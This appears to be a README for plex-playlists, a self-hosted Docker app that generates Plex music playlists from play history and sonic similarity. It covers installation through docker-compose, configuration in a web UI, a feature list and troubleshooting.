Welcome to plex-playlists! This application helps you create automated playlists for your Plex media server with ease. You can customize your playlists based on recent play history and music similarity. No technical skills are required.
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows 10 or higher, macOS Mojave or higher, or Linux (Ubuntu recommended)
- Memory: At least 4 GB RAM
- Processor: Intel Core i3 or equivalent
- Storage: Minimum 200 MB free space
- Installed Software: Ensure you have the latest version of Docker installed on your system
To get started, visit the Releases page to download the latest version of plex-playlists. Follow these steps:
- Navigate to the Releases page by clicking the link above.
- Choose the appropriate file for your operating system.
- Click on the download link to start the download.
- Once the file finishes downloading, locate it in your downloads folder.
After downloading the application, follow these instructions based on your operating system:
- Extract the Files: Right-click the downloaded zip file and select "Extract All."
- Open Command Prompt: Press
Win + R, typecmd, and press Enter. - Navigate to the Folder: Use
cdfollowed by the path to the extracted folder. - Run the Application: Type
docker-compose upand press Enter. This command will start the application.
- Extract the Files: Double-click the downloaded zip file to extract it.
- Open Terminal: Press
Command + Space, typeTerminal, and press Enter. - Navigate to the Folder: Use
cdfollowed by the path to the extracted folder. - Run the Application: Type
docker-compose upand press Enter.
- Extract the Files: Use the terminal to navigate to the download directory. Use the command
unzip <filename>.zipto extract. - Open Terminal: Open your terminal application.
- Navigate to the Folder: Use
cdfollowed by the path to the extracted folder. - Run the Application: Type
docker-compose upand press Enter.
After running the application, access the web UI for configuration. Open your web browser and enter http://localhost:3000. Here, you can:
- Connect your Plex account for seamless playlist generation.
- Set parameters like time-window for music history and scoring methods.
- Save your settings to create personalized playlists.
plex-playlists offers several features to enhance your media experience:
- Automated Playlist Generation: Create playlists based on your music history.
- Sonic Similarity: Expand your playlists with similar songs and artists.
- Web UI for Easy Configuration: Simple interface to customize settings without coding skills.
- Time-Windowed History: Choose how far back you want to analyze your listening habits.
- Exponential Recency Scoring: Ensure your latest favorites always find a spot in your playlists.
- Automation
- Docker
- Homelab setup
- Music management
- Playlist automation
- Self-hosted solutions
- TypeScript development
If you have questions or need help, we encourage you to join our community. You can find additional resources and connect with other users on our GitHub Issues page.
We are committed to improving plex-playlists. Future updates will include:
- Enhanced user interface improvements.
- More scoring methods for playlist generation.
- Additional configuration options based on user feedback.
If you encounter issues, check the following:
- Ensure Docker is installed and running.
- Verify you are in the correct directory before running commands.
- Check your internet connection when accessing the web UI.
For further assistance, please refer to the troubleshooting section on the GitHub Issues page.
We appreciate your thoughts. Share your experience with plex-playlists, and let us know how we can improve. Your input is valuable to us.
For more detailed help, visit the Releases page to stay updated on new features and improvements.